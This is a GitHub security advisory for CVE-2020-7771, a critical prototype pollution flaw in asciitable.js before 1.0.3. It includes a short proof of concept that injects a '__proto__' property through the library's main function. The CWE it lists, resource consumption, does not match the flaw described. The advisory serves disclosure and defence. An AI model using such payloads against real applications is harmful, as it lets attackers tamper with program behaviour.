victornpb/asciitable.js · Security
Prototype Pollution in asciitable.js
- GHSA ID
- GHSA-5pxj-mhwj-x5gv
- CVE ID
- CVE-2020-7771
- Severity
- critical
- Published
- Updated
- CVSS
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSS v3
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
CWEs
- CWE-400 · Uncontrolled Resource Consumption